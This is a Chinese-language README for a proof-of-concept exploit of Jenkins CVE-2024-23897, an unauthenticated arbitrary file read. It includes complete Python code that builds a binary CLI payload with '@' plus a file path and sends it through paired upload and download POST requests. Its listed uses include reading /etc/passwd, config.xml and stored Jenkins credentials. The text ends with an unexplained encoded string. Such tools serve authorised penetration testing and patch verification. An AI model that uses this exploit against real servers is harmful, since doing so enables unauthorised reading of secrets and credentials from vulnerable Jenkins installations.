Jenkins CVE-2024-23897 漏洞利用工具
这是一个针对 Jenkins 服务器中严重安全漏洞 CVE-2024-23897 的概念验证(PoC)利用工具。该漏洞存在于 Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本中,允许未认证的攻击者读取 Jenkins 控制器文件系统上的任意文件。
功能特性
- 任意文件读取:利用 Jenkins CLI 命令解析器的特性,通过 '@' 字符后跟文件路径来读取服务器上的任意文件。
- 多线程利用:采用双线程并发执行,有效提高漏洞利用的成功率和效率。
- 简单易用:提供命令行接口,只需指定目标 URL 和要读取的文件路径即可。
- 自动化流程:自动生成 UUID 会话标识,构造恶意 payload,并发送请求。
安装指南
系统要求
- Python 3.x
- 网络连接(用于访问目标 Jenkins 服务器)
依赖项
本工具使用 Python 标准库,无需安装额外的第三方包。依赖包括:
http.client:用于发送 HTTP 请求argparse:用于解析命令行参数threading:用于多线程并发uuid:用于生成唯一会话标识re:用于正则表达式匹配sys:用于系统操作
安装步骤
- 下载或克隆本工具到本地:
git clone https://github.com/your-repo/jenkins-CVE-2024-23897.git
cd jenkins-CVE-2024-23897
- 无需额外安装,直接运行 Python 脚本:
python3 CVE-2024-23897.py -u <目标URL> -f <目标文件路径>
使用说明
基础使用示例
python3 CVE-2024-23897.py -u http://localhost:8888/ -f /etc/passwd
参数说明
-u, --targetUrl:必需,目标 Jenkins 服务器的 URL(例如:http://192.168.1.100:8080/)-f, --targetFile:必需,要读取的远程文件路径(例如:/etc/passwd 或 C:\Windows\win.ini)
典型使用场景
- 检测漏洞:尝试读取
/etc/passwd文件来验证目标是否存在漏洞。 - 读取配置文件:读取
jenkins/config.xml等配置文件,获取敏感信息。 - 读取凭证:尝试读取存储 Jenkins 凭证的配置文件。
利用条件
为使此漏洞利用成功,目标 Jenkins 服务器必须满足以下条件之一:
- 启用了遗留模式授权
- 在“登录用户可以做任何事”授权模式下,勾选了“允许匿名读取访问”
- 启用了注册功能
注意事项
- 如果利用过程耗时过长或仅读取了文件的前几个字节,请终止程序并重新运行。
- 该漏洞利用仅适用于 Jenkins 默认配置下的实例。
- 手动利用可参考 jenkins-cli.jar 方式。
输出示例
_ _ _ _ _ ___ _
| || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_
| __ / _` / _| / / | _| ' \/ -_) | _/ / _` | ' \/ -_) _|
|_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|
Exploiting..
<文件内容>
核心代码
漏洞利用核心逻辑
def exploit(tarFile, target):
uuidStr = str(uuid.uuid4())
print("Exploiting..")
# 构造恶意 payload,利用 '@' 后跟文件路径的特性
payload = b'\x00\x00\x00\x0E\x00\x00\x0Cconnect-node\x00\x00\x00\x0E\x00\x00\x0C@' + tarFile.encode() + b'\x00\x00\x00\x07\x02\x00\x05UTF-8\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
# 创建两个线程
t1 = threading.Thread(target=first, args=(uuidStr, payload, target))
t2 = threading.Thread(target=second, args=(uuidStr, target))
# 启动线程
t1.start()
t2.start()
# 等待两个线程完成
t1.join()
t2.join()
请求发送模块
def first(uuidStr, payload, target):
try:
conn = http.client.HTTPConnection(target)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuidStr,
"Side": "upload",
"Content-Type": "application/octet-stream"
}, body=payload)
except Exception as e:
print(e)
def second(uuidStr, target):
try:
conn = http.client.HTTPConnection(target)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuidStr,
"Side": "download"
})
final = conn.getresponse().read()
print(final)
except Exception as e:
print(e)
主函数入口
def main():
parser = argparse.ArgumentParser(description="CVE-2024-23897")
parser.add_argument("-u", '--targetUrl', required=True, help="The target URL")
parser.add_argument("-f", '--targetFile', required=True, help="The target file")
args = parser.parse_args()
try:
if args.targetUrl and args.targetFile:
pattern = r"http[s]?://([^:/]+:\d+)/"
match = re.search(pattern, args.targetUrl)
target = match.group(1)
ascii()
exploit(args.targetFile, target)
except Exception as e:
sys.exit("Some error occured..")
if __name__ == "__main__":
main()
参考资料
免责声明:本工具仅用于教育和授权测试目的。禁止非法或未经授权使用本工具。使用者需自行承担所有责任。 6HFtX5dABrKlqXeO5PUv/z9ZlGUoafCL0HVfqwd7VYjTLYHMRit0zDYSzIdv9Q9qXuKv1k7U5X7l5HPJcz0C2b3FiNJfFla0lQ5cUBF+Ev0=